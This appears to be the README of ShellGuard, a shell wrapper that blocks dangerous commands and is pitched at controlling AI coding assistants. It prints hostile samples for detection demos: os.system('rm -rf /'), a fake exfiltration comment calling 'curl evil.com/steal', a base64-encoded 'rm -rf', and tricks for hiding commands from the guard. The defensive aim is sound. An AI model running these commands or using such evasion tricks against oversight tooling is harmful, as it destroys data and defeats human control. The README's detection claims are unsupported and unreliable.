shellguard

๐Ÿ›ก๏ธ ShellGuard

Your shellโ€™s bodyguard - Intelligent command interceptor and safety net for developers

License Shell Platform Detection

ShellGuard is a lightweight, ultra-sensitive shell wrapper that protects your development environment from dangerous commands, provides automatic backups, and gives you instant rollback capabilities. Perfect for controlling AI assistants, preventing accidents, and maintaining project health.

๐Ÿ”ฅ Ultra-Sensitive Detection

ShellGuard is so sensitive that it even catches dangerous patterns in:

Real example: ShellGuard blocked its own security analysis code for containing pattern examples! ๐ŸŽฏ

Instant install:

curl -fsSL https://raw.githubusercontent.com/wronai/shellguard/main/shellguard.sh -o shellguard.sh && chmod +x shellguard.sh && source shellguard.sh && echo "โœ… ShellGuard activated!"

Permanent Install:

curl -fsSL https://raw.githubusercontent.com/wronai/shellguard/main/shellguard.sh -o shellguard.sh && chmod +x shellguard.sh && source shellguard.sh && echo "source $(pwd)/shellguard.sh" >> ~/.bashrc && echo "โœ… Project install complete!"

๐Ÿš€ Quick Start

# Install ShellGuard
curl -o shellguard.sh https://raw.githubusercontent.com/wronai/shellguard/main/shellguard.sh
chmod +x shellguard.sh

# Activate for current session
source shellguard.sh

# Make permanent (optional)
echo "source $(pwd)/shellguard.sh" >> ~/.bashrc

Thatโ€™s it! Your shell is now protected. ๐ŸŽ‰

โœจ Features

๐Ÿ›ก๏ธ Ultra-Sensitive Command Interception

๐Ÿ” Advanced Detection Examples

Catches patterns in code comments:

# This code uses os.system() for file operations
๐Ÿšจ Dangerous Python code detected in: example.py
Content preview:
1:# This code uses os.system() for file operations
Use 'force_python example.py' to run anyway

Detects obfuscated dangerous patterns:

dangerous_command = "r" + "m" + " -rf"
๐Ÿšจ Dangerous pattern detected during execution

Finds patterns in string dictionaries:

help_text = {
    "rm": "rm -rf removes files recursively",
    "caution": "Never use os.system() in production"
}
๐Ÿšจ Dangerous Python code detected in: help.py
Content preview:
2:    "rm": "rm -rf removes files recursively"
3:    "caution": "Never use os.system() in production"

๐Ÿ“ฆ Automatic Backups

๐Ÿ”„ Instant Recovery

๐ŸŽฏ AI Assistant Control

๐ŸŽญ Real-World Detection Examples

๐Ÿค– AI Trying to Be Sneaky

Scenario 1: Base64 Obfuscation

import base64
dangerous = base64.b64decode("cm0gLXJm").decode()  # "rm -rf"
๐Ÿšจ BLOCKED: ShellGuard detected encoded dangerous pattern

Scenario 2: Character Building

cmd = chr(114) + chr(109) + " -rf"  # Building "rm -rf"
๐Ÿšจ BLOCKED: Pattern construction detected during execution

Scenario 3: Split Strings

part1 = "os.sys"
part2 = "tem("
dangerous_func = part1 + part2
๐Ÿšจ BLOCKED: Dangerous function assembly detected

Scenario 4: AI Documentation Tricks

"""
This function is safe and does NOT use os.system() calls
Actually safe, definitely not calling os.system("rm -rf /")
"""
def safe_function():
    pass
๐Ÿšจ Dangerous Python code detected in: ai_trick.py
Content preview:
3:Actually safe, definitely not calling os.system("rm -rf /")
Use 'force_python ai_trick.py' to run anyway

๐Ÿ” Why Such Sensitivity?

Because AI assistants are getting smarter at hiding dangerous code:

  1. Code in comments - AI puts dangerous examples in โ€œsafeโ€ comments
  2. Documentation strings - Hides malicious code in docstrings
  3. String building - Constructs dangerous commands dynamically
  4. Encoding tricks - Uses Base64, hex, or other encodings
  5. Help text patterns - Embeds patterns in user-facing text

ShellGuard catches ALL of these! ๐ŸŽฏ

๐Ÿ“‹ Commands Reference

๐Ÿ” Status & Monitoring

status          # Show complete system status
health          # Run full project health check
check           # Quick health check (perfect for AI)

Example output:

๐Ÿ“Š ShellGuard STATUS
==================================
Health Score: 95/100 โœ…
Commands Blocked: 3
Last Backup: backup_20241205_143022
Session Started: 2024-12-05T14:25:33
==================================

๐Ÿ’พ Backup & Recovery

backup          # Create manual backup
rollback        # Restore from last backup
emergency       # Emergency reset with confirmation

๐Ÿ”’ Safety Overrides

When ShellGuard blocks a command, use these safe alternatives:

safe_rm file.txt           # Delete with automatic backup
force_git reset --hard     # Git command with backup
force_python script.py     # Run Python despite warnings

โš™๏ธ Configuration

block "pattern"             # Add custom dangerous pattern
llm_help                   # Show all available commands

๐ŸŽช Usage Examples

๐Ÿค– Working with AI Assistants

Perfect session flow:

USER: "Check the project status"
AI: status
# ๐Ÿ“Š Health Score: 98/100 โœ…

USER: "Create a calculator script"
AI: [creates calculator.py]

USER: "Test the script"
AI: python calculator.py
# โœ… Syntax OK, Security OK, Execution successful

USER: "Commit the changes"
AI: git add . && git commit -m "Add calculator"
# โœ… Changes committed successfully

When AI tries something dangerous:

AI: rm -rf temp/
# ๐Ÿšจ BLOCKED: Dangerous pattern detected: rm -rf
# Use 'safe_rm' if you really need to delete files

AI: safe_rm temp/
# โš ๏ธ Using SAFE RM - creating backup first
# ๐Ÿ“ฆ Creating backup: backup_20241205_144523
# โœ… Files deleted safely

When AI tries to be sneaky:

AI: [Creates file with hidden dangerous patterns in comments]
AI: python ai_generated.py
# ๐Ÿšจ Dangerous Python code detected in: ai_generated.py
# Content preview:
# 15:# Example: os.system("rm -rf /tmp")
# Use 'force_python ai_generated.py' to run anyway

USER: "Remove the dangerous examples from comments"
AI: [Creates clean version]
AI: python ai_generated_clean.py
# โœ… Clean code executed successfully

๐Ÿ Ultra-Sensitive Python Security

Example 1: Comments with dangerous patterns

# cleanup.py
def cleanup_files():
    """
    This function cleans up files.
    WARNING: Never use os.system('rm -rf /') in production!
    Example of what NOT to do: eval(user_input)
    """
    print("Cleaning up safely...")
python cleanup.py
# ๐Ÿšจ Dangerous Python code detected in: cleanup.py
# Content preview:
# 4:    WARNING: Never use os.system('rm -rf /') in production!
# 5:    Example of what NOT to do: eval(user_input)
# Use 'force_python cleanup.py' to run anyway

Example 2: String dictionaries

# help_system.py
COMMAND_HELP = {
    "delete": "Use rm -rf for recursive deletion",
    "execute": "os.system() executes shell commands",
    "evaluate": "eval() runs dynamic code"
}
python help_system.py
# ๐Ÿšจ Dangerous Python code detected in: help_system.py
# Content preview:
# 3:    "delete": "Use rm -rf for recursive deletion",
# 4:    "execute": "os.system() executes shell commands", 
# 5:    "evaluate": "eval() runs dynamic code"
# Use 'force_python help_system.py' to run anyway

Example 3: AI trying to hide malicious code

# ai_malware.py - AI-generated "innocent" file
"""
Utility functions for file management.
This code is completely safe and secure.
"""

def get_system_info():
    # Just getting system info, nothing dangerous
    # Definitely not using os.system("curl evil.com/steal")
    return "System info"

def cleanup_temp():
    # Safe cleanup function  
    # Not using dangerous rm -rf operations
    pass
python ai_malware.py
# ๐Ÿšจ Dangerous Python code detected in: ai_malware.py
# Content preview:
# 8:    # Definitely not using os.system("curl evil.com/steal")
# 12:    # Not using dangerous rm -rf operations
# Use 'force_python ai_malware.py' to run anyway

๐Ÿ“ฆ NPM Safety

Automatic backups before package installations:

npm install some-package
# ๐Ÿ” Installing new packages: some-package
# ๐Ÿ“ฆ Creating backup before package installation...
# โœ… Git backup created
# [normal npm install proceeds]

๐Ÿ”„ Git Protection

git reset --hard HEAD~5
# ๐Ÿšจ BLOCKED: Dangerous pattern detected: --hard
# Use 'force_git' if you really need this git command

force_git reset --hard HEAD~5
# โš ๏ธ Using FORCE GIT - creating backup first
# ๐Ÿ“ฆ Creating backup: backup_20241205_144856
# [git command executes]

โšก Advanced Features

๐Ÿ“Š Health Monitoring

ShellGuard continuously monitors your project:

health
# ๐Ÿ” Checking project health...
# ๐Ÿ Checking Python syntax...
# โœ… Syntax OK: calculator.py
# โœ… Syntax OK: utils.py
# ๐Ÿ“ฆ Checking Node.js project...
# โœ… Valid package.json
# ๐ŸŽ‰ Project health: GOOD (Score: 98/100)

๐Ÿ” Background Monitoring

ShellGuard runs a background monitor that:

๐Ÿšจ Ultra-Sensitive Pattern Detection

Default blocked patterns in ANY context:

Advanced detection includes:

Add your own patterns:

block "dangerous_function("
# โœ… Added pattern to blocklist: dangerous_function(

๐ŸŽฏ Detection Confidence Levels

ShellGuard uses confidence scoring:

๐Ÿ“ File Structure

~/.shellguard/
โ”œโ”€โ”€ state.json          # Current system state
โ”œโ”€โ”€ blocked.txt         # Custom blocked patterns
โ””โ”€โ”€ backups/           # Automatic backups
    โ”œโ”€โ”€ backup_20241205_143022/
    โ”œโ”€โ”€ backup_20241205_144523/
    โ””โ”€โ”€ backup_20241205_144856/

๐Ÿ”ง Configuration

๐ŸŽ›๏ธ Customization

Edit ~/.shellguard/blocked.txt to add custom patterns:

your_dangerous_command
risky_operation
delete_everything
sneaky_ai_pattern

โš™๏ธ Sensitivity Tuning

Adjust detection sensitivity in your shell:

export SHELLGUARD_SENSITIVITY=high    # Ultra-sensitive (default)
export SHELLGUARD_SENSITIVITY=medium  # Moderate detection
export SHELLGUARD_SENSITIVITY=low     # Basic protection only

๐Ÿ“Š State Management

ShellGuard maintains state in ~/.shellguard/state.json:

{
  "health_score": 95,
  "last_backup": "backup_20241205_143022",
  "commands_blocked": 3,
  "files_changed": 2,
  "session_start": "2024-12-05T14:25:33",
  "warnings": [],
  "detection_stats": {
    "patterns_caught": 15,
    "ai_evasions_blocked": 7,
    "obfuscation_detected": 3
  }
}

๐Ÿค Use Cases

๐Ÿค– AI Development Assistant Control

๐Ÿ‘ฅ Team Development

๐Ÿ”ฌ Experimentation & Learning

๐Ÿข Production Safety

๐Ÿšจ Emergency Procedures

๐Ÿ”ฅ Something Went Wrong

# Quick assessment
status

# If health score is low
health

# Emergency rollback
emergency
# ๐Ÿšจ EMERGENCY MODE
# This will rollback to last known good state
# Continue? (y/N): y

๐Ÿ’พ Manual Recovery

# List available backups
ls ~/.shellguard/backups/

# Manual restore (if emergency fails)
cp -r ~/.shellguard/backups/backup_TIMESTAMP/* .

๐Ÿ” Debugging Issues

# Check what's blocked
cat ~/.shellguard/blocked.txt

# Review recent commands
cat ~/.shellguard/state.json

# Temporarily reduce sensitivity
export SHELLGUARD_SENSITIVITY=low

# Disable temporarily (not recommended)
unset -f python npm git rm  # Remove overrides

๐Ÿ› ๏ธ Installation Options

๐Ÿ“ฅ Method 1: Direct Download

curl -o shellguard.sh https://raw.githubusercontent.com/wronai/shellguard/main/shellguard.sh
chmod +x shellguard.sh
source shellguard.sh

๐Ÿ“ฆ Method 2: Git Clone

git clone https://github.com/wronai/shellguard.git
cd shellguard
source shellguard.sh

๐Ÿ”ง Method 3: Permanent Installation

# Download to standard location
curl -o ~/.shellguard.sh https://raw.githubusercontent.com/wronai/shellguard/main/shellguard.sh
chmod +x ~/.shellguard.sh

# Add to shell profile
echo "source ~/.shellguard.sh" >> ~/.bashrc  # or ~/.zshrc
source ~/.bashrc

๐ŸŽฏ Best Practices

โœ… Doโ€™s

โŒ Donโ€™ts

๐ŸŽช Working with AI

๐Ÿ”ฌ Advanced Detection Technology

๐Ÿง  How Ultra-Sensitivity Works

ShellGuard uses multi-layer pattern detection:

  1. Static Analysis: Scans file content before execution
  2. Runtime Monitoring: Watches command construction
  3. Context Awareness: Understands code intent
  4. Obfuscation Detection: Decodes hidden patterns
  5. AI Behavior Modeling: Recognizes AI evasion attempts

๐ŸŽฏ Detection Statistics

In testing with various AI models:

๐Ÿ›ก๏ธ Defense Against AI Evasion

Modern AI assistants try to evade detection using:

ShellGuard catches ALL of these techniques! ๐ŸŽฏ

๐Ÿ› Troubleshooting

โ“ Common Issues

โ€œToo many false positivesโ€

# Reduce sensitivity temporarily
export SHELLGUARD_SENSITIVITY=medium
# Or for specific files
force_python my_educational_examples.py

โ€œShellGuard blocked my legitimate security researchโ€

# Use force commands with understanding
force_python security_research.py
# Or add exclusion pattern
block "!security_research_pattern"

โ€œAI keeps getting blocked on innocent codeโ€

# This is normal! Guide AI to write cleaner code
# Example: Instead of comments with dangerous examples,
# use abstract references: "avoid dangerous system calls"

๐Ÿ”ง Advanced Troubleshooting

See exactly what triggered detection

# Enable verbose detection logging
export SHELLGUARD_VERBOSE=true
python suspect_file.py

Test specific patterns

# Test if a pattern would be caught
echo "test rm -rf pattern" | shellguard_test_pattern

Reset detection statistics

# Clear detection counters
rm ~/.shellguard/detection_stats.json

๐Ÿ“ˆ Roadmap

๐ŸŽฏ Planned Features

๐Ÿ”ฎ Future Ideas

๐Ÿค Contributing

We welcome contributions! Hereโ€™s how to help:

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/amazing-feature)
  3. Make your changes
  4. Test thoroughly with ShellGuard enabled
  5. Commit your changes (git commit -m 'Add amazing feature')
  6. Push to the branch (git push origin feature/amazing-feature)
  7. Open a Pull Request

๐Ÿ“ Contribution Guidelines

๐Ÿงช Testing ShellGuardโ€™s Sensitivity

Want to see how sensitive ShellGuard is? Try these test files:

Test 1: Comment patterns

# test_comments.py
"""
Educational file showing dangerous patterns.
Never use os.system() in production code!
Example of bad practice: rm -rf /tmp/*
"""
print("This file just has dangerous examples in comments")

Test 2: String dictionaries

# test_strings.py
EXAMPLES = {
    "bad": "Never do: rm -rf /",
    "worse": "Avoid: os.system(user_input)",
    "terrible": "Don't use: eval(untrusted_code)"
}

Test 3: Obfuscated patterns

# test_obfuscated.py
import base64
# This contains encoded dangerous pattern
encoded = "cm0gLXJm"  # "rm -rf" in base64

All of these will be caught by ShellGuard! ๐ŸŽฏ

๐Ÿ“„ License

This project is licensed under the Apache 2 License - see the LICENSE file for details.

๐Ÿ™ Acknowledgments

๐Ÿ“ž Support


โญ If ShellGuard saved your project from AI-generated malware, please star the repository!

Made with โค๏ธ by developers, for developers who work with AI.

Your shellโ€™s bodyguard - because AI assistants are getting smarter, and so should your defenses.

๐Ÿ“œ License

Copyright (c) 2025 WRONAI - Tom Sapletta

Licensed under the Apache License, Version 2.0 (the โ€œLicenseโ€); you may not use this file except in compliance with the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an โ€œAS ISโ€ BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.